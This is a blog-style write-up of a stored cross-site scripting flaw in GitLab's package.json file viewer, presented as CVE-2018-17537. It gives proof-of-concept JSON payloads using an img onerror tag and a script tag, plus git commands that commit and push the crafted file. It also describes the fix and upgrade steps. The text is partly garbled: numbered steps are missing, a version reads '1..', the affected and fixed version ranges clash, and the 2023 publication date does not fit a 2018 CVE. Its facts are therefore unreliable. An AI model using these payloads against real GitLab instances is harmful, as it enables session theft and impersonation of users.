CVE-2018-17537 - Stored XSS in GitLab via package.json – How It Worked and Why It Mattered

GitLab is one of the world’s most popular platforms for hosting Git repositories and supporting DevOps workflows. But even powerful and trusted tools are not immune to vulnerabilities. In this post, we dig into CVE-2018-17537, a stored Cross-Site Scripting (XSS) flaw that once affected GitLab Community and Enterprise Editions. We’ll explain how the issue happened, show you an example of exploitation, and share tips for defense.

What Is CVE-2018-17537?

This vulnerability was discovered in the GitLab's file viewer—specifically when viewing a package.json file in the repository browser interface. In short: If an attacker could get a specially crafted package.json committed to a GitLab project, any user who later viewed that file could have malicious JavaScript executed in their browser—because the content was rendered unsafely.

Affected Versions:

- GitLab CE/EE before 11.1.7

How the XSS Worked

GitLab displays certain file types in a nicer, readable format—package.json is a common one, since it’s a standard file in Node.js projects. In affected versions, the viewer did not properly sanitize HTML special characters when outputting fields from package.json. This could allow a “stored” XSS—where the payload lives in the repository and is triggered whenever a curious user views the file in the browser.

Legitimate user browses the repo and views that file using GitLab’s web UI.

3. Malicious script executes in the victim’s browser, able to steal cookies, impersonate the user, etc.

Proof-of-Concept: Exploiting GitLab with a Malicious package.json

Here’s a step-by-step to demonstrate the issue. Please only use this for education and in legal, controlled environments.

Set an injected script in any string field, such as "name" or "author"

{
  "name": "<img src=x onerror=alert('XSS from package.json')>",
  "version": "1.."
}

Or for a more stealthy payload

{
  "author": "<script>alert('XSS! Exploit by CVE-2018-17537');</script>"
}

2\. Commit and Push to GitLab

git clone https://gitlab.example.com/your/project.git
cd project
echo '{"name":"<img src=x onerror=alert(1)>","version":"1.."}' > package.json
git add package.json
git commit -m "Add evil package.json"
git push

Video Demo

*(Not included due to format restrictions—but many YouTube videos exist; search for “gitlab package.json xss” for visuals.)*

References and Links

- Official GitLab Advisory
 - CVE Details for CVE-2018-17537
 - Mitre CVE Entry
 - HackerOne Report #437109 (public)

Real World Impact & Lessons

Stored XSS flaws are incredibly dangerous, especially inside developer platforms where trust is high and users are technical.

Lessons:

- Always sanitize user-controlled content, especially when rendering code / config files in web UIs.
 - Even seemingly “innocent” data fields (like those in package.json) can become vehicles for attack if mishandled.

How It Was Fixed

GitLab updated their file viewer to HTML-encode all rendered values from JSON files. This prevents scripts and HTML from ever executing in the browser, no matter what’s inside the file.

Upgrade instructions were published in GitLab’s security release post.

How to Protect Yourself

- Upgrade GitLab: If you’re running a self-hosted GitLab instance, make sure you’re on 11.1.7, 11.2.4, 11.3.1, or later.

Summary

CVE-2018-17537 is a classic example of the dangers of stored XSS in unexpected places. The fix was straightforward—escape user-rendered content—but the impact could have been huge for any GitLab instance not promptly updated. Stay safe and always treat user-supplied data (even in code repositories!) with care.

Timeline

Published on: 04/16/2023 00:15:00 UTC
Last modified on: 04/25/2023 19:07:00 UTC